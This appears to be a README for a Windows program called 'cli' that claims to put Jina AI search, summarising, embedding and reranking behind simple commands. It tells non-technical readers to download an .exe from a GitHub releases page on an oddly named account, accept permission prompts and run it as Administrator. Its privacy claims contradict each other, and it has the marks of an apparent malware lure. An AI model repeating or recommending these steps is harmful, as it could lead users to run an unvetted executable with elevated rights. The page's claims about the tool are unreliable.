⚙️ cli - Easy AI Commands for Your PC

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📋 What is cli?

cli lets you use powerful AI tools right from your Windows command prompt. It turns Jina AI functions into simple commands. You can search, read, create text embeddings, rerank results, and connect commands like pipes in Unix. You don’t need to install programming languages or write any code. Just run commands like you normally do on your PC.

This tool is designed for people who want to use AI features without technical knowledge. It is simple and runs quickly on most Windows computers.

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🖥️ System Requirements

To run cli on Windows, you need:

• Windows 10 or later (64-bit)
• At least 4 GB of RAM
• 500 MB of free disk space
• Internet connection to download and for some features
• Command Prompt or PowerShell access (comes pre-installed on Windows)

If you have a basic Windows 10 or newer PC, cli should work smoothly.

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🧰 Features

cli lets you run AI tasks using commands like these:

• Search data or documents with AI help
• Read and summarize text automatically
• Make text embeddings for comparing meaning
• Rerank search results for better accuracy
• Chain commands using Unix pipes for complex workflows

These tools come from Jina AI but are wrapped to work with simple Windows commands.

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🚀 Getting Started: Download cli

To start using cli, visit this page to download the latest release:

Download cli from GitHub Releases

Click the link. You will see a list of files. Choose the Windows executable file, which usually ends with .exe. Save it somewhere easy to find, like your Desktop or Downloads folder.

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💾 How to Install cli

cli does not require a complicated install. Follow these steps:

1. Download the .exe file from the Releases page.
2. Open the folder where you saved the file.
3. Double-click the .exe file to run it.
4. Windows may ask for permission. Allow it to run if prompted.
5. The program opens in a command window or terminal.
6. Close the window to stop the program when done.

No extra software is needed beyond Windows itself.

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🎯 How to Use cli Commands on Windows

cli runs through the Windows command prompt. Here is how to open and use it:

1. Press Windows Key + R on your keyboard.

2. Type cmd and press Enter. This opens the Command Prompt window.

3. Move to the folder where you saved the cli .exe file by typing:

   cd path\to\folder
   

   Replace path\to\folder with the actual folder location.

4. Run cli commands by typing the executable name, for example:

   cli search "your search phrase"
   

   This runs a search command on your PC using AI.

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🔍 Example Commands

Here are some ways to use cli commands:

• Search for files or information:

  cli search "climate change reports"
  

• Summarize a text document:

  cli read "C:\Documents\report.txt"
  

• Create an embedding (a kind of text code):

  cli embed "OpenAI is an AI research lab"
  

• Rerank your search results for better accuracy:

  cli rerank "latest news technology"
  

You can also combine commands using Windows pipes (|):

  cli search "movies" | cli rerank

This runs a search and then improves the order of results.

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🔧 Customize Settings

cli uses a simple configuration file to change how it works. The file is named cli.config and sits in the same folder as the .exe.

You can edit this file with Notepad to adjust:

• API keys if needed
• Default search limits
• Language settings
• Output formats

Make sure to save changes before running cli commands.

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⚙️ Troubleshooting

If cli does not run:

• Check you have downloaded the correct .exe for Windows.
• Make sure you run commands inside the folder where the .exe lives.
• Run Command Prompt as Administrator if you get permission errors.
• Verify your internet is working for features that connect online.
• Restart your computer to clear any locked resources.

If output is confusing, try command help:

cli --help

This shows all available commands and usage.

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🌐 Links and Resources

Visit the GitHub Releases page to get cli for Windows:

https://github.com/Deadnessdarfur431/cli/releases

Check this page often for updates and improvements.

Explore AI and command basics online if you want to learn more about what cli can do.

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💡 Tips for Best Use

• Use simple search phrases for faster results.
• Use quotes " " around text inputs with spaces.
• Pipe commands for multiple actions in one line.
• Keep the cli executable updated from the releases page.
• Use the config file to tailor cli to your needs.

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🔒 Security and Privacy

cli runs locally on your machine. It does not store data beyond runtime unless you save files yourself. Some commands connect to online servers. Use these only on trusted networks.

Your inputs stay on your computer unless you choose to share them.

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📂 File Management

cli works best with text files (.txt) and common document types. Save any files you want to analyze in an easy folder. Use absolute paths (full folder location) in commands to avoid errors.

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🎛️ Advanced Usage (Optional)

If you want to explore further:

• Combine commands with pipes for workflows.
• Use the config file for API access to customize behavior.
• Run cli within scripts or batch files for automation.

These require some basic command prompt knowledge.

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📞 Getting Help

For further assistance or questions, check the Issues section on GitHub:

https://github.com/Deadnessdarfur431/cli/issues

You can read or post questions there to get community support.